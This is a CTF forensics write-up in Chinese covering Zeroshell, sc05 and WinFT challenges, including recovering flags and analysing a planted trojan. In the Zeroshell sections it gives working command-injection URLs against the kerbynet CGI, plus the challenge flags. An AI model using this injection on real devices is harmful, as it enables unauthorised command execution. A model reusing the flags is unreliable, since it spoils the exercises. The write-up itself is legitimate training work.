长城杯取证复现

yolo 发布于 14 天前 103 次阅读


Zeroshell

Zeroshell_1

image-20241218160739464

先把虚拟机给部署好,然后访问本地61.139.2.100

image-20241218160844011

通过上网查询,发现这个Linux的zeroshell是有漏洞的,那就开始构造吧

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Acommand%0A%27

上面的语句中,command部分是我们要填的终端命令

先看第一道题,在流量包里找到发送的flag

image-20241218161331850

并没有找到理想中的flag明文,不过我发现了串base64的referer头,通过转换,得到我们要的flag了

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

Zeroshell_2

image-20241218161548401

挑战2是让我们找到设备上的flag文件,但是这个zeroshell上并没有ui界面让我们翻,只能通过漏洞查找了,上面已经进入漏洞中了,接下来只要使用命令查找flag就ok

这是构造的exp

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind%20/%20-name%20flag%0A%27
​
/DB/_DB.001/flag /Database/flag 
​
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Acat%20/DB/_DB.001/flag%20/Database/flag%20%0A%27
​
flag{c6045425-6e6e-41d0-be09-95682a4f65c4}

好了,比赛时就做出来这几道,接下来就是我借助别人写的wp来复现了

Zeroshell_3

image-20241218162020664

这里介绍个新工具,超级nb的:DiskGenius

把镜像文件挂载上就能和之前做的磁盘取证一样了,第二个挑战也能一把梭的

image-20241218171312257

真无敌了,我怎么早没有找到啊

image-20241218171414770

随手预览了下这个.nginx文件,好家伙,是个elf文件,显然是我们要找的木马程序了

将它放到沙箱里面分析下

终于逮住你了

image-20241218171809534

最后的flag就是

flag{202.115.89.103}

看网上说,还有个解决思路,是使用netstat,但是不知道为啥,我的电脑上只能找到61.139.2.100

image-20241218172119916

哦,找到了,后悔死了,比赛的时候,我就用过netstat,但是没仔细看,后来一路跑偏,寻思着找到防火墙日志就行,但是一直找不到啊,/(ㄒoㄒ)/~~

Zeroshell_4

image-20241218172349230

这是个送分题,我没拿到啊,悔了,要是能早点知道还有DiskGenius这样的工具就好了

flag{.nginx}

Zeroshell_5

image-20241218172616446

将步骤3里提取的文件扔到ida32里看一下

image-20241218173441703

检查完所有字符串,感觉这个最可疑,看了下其他师傅写的,嗯,我没有找错

image-20241218173533100

我发现进去后也能看到外联IP,我发现就算我不用放到沙箱里跑也行呢,哎,比完才发现题目不是很难

flag{11223344qweasdzxc}

Zeroshell_6

image-20241218173731243

这里让我找找启动木马的文件路径,我感觉这东西不能在木马里找,我得找个程序,里面的大致内容就是运行

/_DB.001/.nginx

然后我使用的方式是grep -rl '.nginx' /

理论上是完全可以实现的,但是查找有点费时间,换用了新方法,通过查询进程

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aps%20-aux%0A%27

里面只有两个用户root和apache,显然得在root里找,通过分析,我发现了个可疑项

image-20241218184037472

排除方法就是其他路径下的文件都比较正常,就箭头的那个没见过,通过查询,发现它很重要,是监控网络链路流量负载

image-20241218184306434

这个和木马程序用的外联IP关联好大(直觉哈

image-20241218184535067

分析完后,没有找到我想要的.nginx,那就往上一级找找

image-20241218185048399

得一个一个翻了,好在找到了

所以这道题的flag是

flag{/var/register/system/startup/scripts/nat/File}

sc05

sc05_1

image-20241218191333641

好好读题,IP1是题目给我的134.6.4.12,我服了我自己,一直纳闷啥是IP1,还想着用ipconfig查一下,靠

image-20241218191747747

查找了下,我发现只有这个才是最早的时间,md5一下,得到flag

flag{01DF5BC2388E287D4CC8F11EA4D31929}

sc05_2

image-20241218192154009

从这里开始卡住了

我尝试了好多方法,都无法找到那个应用

这里就记一个我用的方法吧:在表格中可以发现,输入端口都是62207,输出端口是80

image-20241218215342946

然后在命令框中输入

netstat -aon | findstr "62207"

但是没有用,后来查询才知道,只有在我要找的软件运行的时候,才能这样操作,查找它

然后我就意识到这个虚拟机似乎没有之前的日志,或者说,我无法查询,正好有个内存文件,但它是vmem格式的,之前没做过这样的取证,到这里就卡住了

image-20241218224805994

WinFT

WinFT_1

image-20241218231514483
image-20241218231533158

找到可疑软件,放到沙箱跑跑,得到了域名,然后用火绒剑看看,就得到flag

image-20241218231911217
flag{miscsecure.com:192.168.116.130:443}

WinFT_2

image-20241218232444833
image-20241218232410998

这有一串base64编码,解码后得到

flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}